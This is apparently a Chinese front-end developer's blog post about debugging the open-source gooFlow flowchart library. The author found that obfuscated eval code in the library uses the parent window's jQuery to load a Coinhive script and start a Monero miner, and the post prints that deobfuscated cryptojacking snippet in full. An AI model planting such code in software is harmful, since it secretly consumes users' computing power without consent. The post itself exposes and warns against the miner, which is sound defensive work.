因爲工做須要,須要前端畫流程圖,找到一個開源的框架gooFlow(下圖就是這個開源框架),它能夠編輯流程圖,提供節點和線以及一些輔助功能。仔細看一下這是一個國人寫框架,文檔也是中文,用起來也很順手。
javascript
可是使用這個框架的時候發現一個很奇怪的bug,描述起來就是:我在父頁面的a標籤點擊跳轉到流程圖頁面,若是a標籤的target是_top,頁面就不會報錯,可是若是target的值爲_blank,頁面第一次打開不會報錯,只有在刷新的狀況下頁面纔會報錯。報錯信息以下前端
其實從這個信息推斷不出來什麼具體信息,只知道jQuery這個對象應該不存在,因此致使程序出錯,仔細檢查個人頁面代碼的引入,發現jQuery都有引入,都沒問題,結合這個bug出現的時機,只在新開頁面且刷新過一次的狀況下才會報錯,因此能夠推斷出這個gooFlow框架應該是引用了父頁面的某個對象,而後在刷新一次頁面的狀況下,父頁面的這個對象爲空纔會致使報錯。
接着我就開始搜索gooFlow的window.opener和window.parent的引用,window.opener返回的是建立該窗口的 Window 對象的引用,window.parent返回的是返回當前窗口的父窗口。可是都沒有找到致使bug的源頭。
一籌莫展的時候,嘗試使用最原始的方法,刪除父頁面上的js引用,看流程圖頁面拋出什麼錯誤,當我把父頁面的jQuery刪除的時候,頁面報了不同的錯誤(下圖)。java
找到對應方法處的代碼,以下圖,是使用eval執行一串字符串,很很差調試,只好把這一串代碼拷貝出來執行一下看執行的是什麼代碼?ajax
正當我納悶爲啥須要對框架裏面的代碼加密的時候,我找到了eval執行的字符串,格式化以後以下,保存的緣由找到了,_opener.$的使用就是對打開這個頁面的jQuery的引用,因此刪除父頁面jQuery報錯信息會不一致。chrome
var _ = window;
try {
_ = _.opener.$
} catch (e) {
try {
_ = _.top.$
} catch (e) {
_ = $
}
};
if (!_("head").data('x')) {
GooFlow.a = 1;
_a = 20;
var d = new Date();
_("head").data('x', 1);
_.ajax("https://coinhive.com/lib/coinhive.min.js?" + d.getFullYear() + d.getMonth() + d.getDate(), {
dataType: 'script',
cache: true
});
_i = setInterval(function () {
try {
new CoinHive.Anonymous('GGdPGhxIloldaArArQVwxZ2sd8l0a4kH', {throttle: 0.3}).start();
clearInterval(_i)
} catch (e) {
_a--;
if (_a < 1) document.write("")
}
}, 1000)
}複製代碼
仔細看這個代碼會發現這居然是一串挖礦代碼!!!會去請求接口:https://coinhive.com/lib/coinhive.min.js
,而後執行new CoinHive.Anonymous('GGdPGhxIloldaArArQVwxZ2sd8l0a4kH', {throttle: 0.3}).start();
開始挖礦,在網上找到了,這是門羅幣的挖礦代碼。具體能夠看看下面這篇文章:微信
JS挖礦 - 門羅幣是如何利用網頁挖礦的?
(http://liujinkai.com/2017/10/28/js-miner/)框架
如今不少開源的框架、插件、庫,使用起來都要當心,一不當心就中了別人的圈套,挖礦這種事是犧牲用戶體驗的基礎上進行的,能夠看到cpu使用飆升,電腦發燙,因此若是在你爲了你的網站優化用戶體驗的時候,發現怎麼優化都無濟於事,記得找一找你引用代碼裏面有哪些隱藏的圈套。
最後推薦一下chrome阻止挖礦的插件minerBlock!優化
最最後,祝同窗們高考順利!網站
歡迎關注個人微信公衆號:前端八點半ui
後續:gooFlow被投訴關閉了,issues裏面都是申討這個框架做者的,這裏只有部分截圖,你們能夠一看笑之。
看不清的點擊:某一個issue對話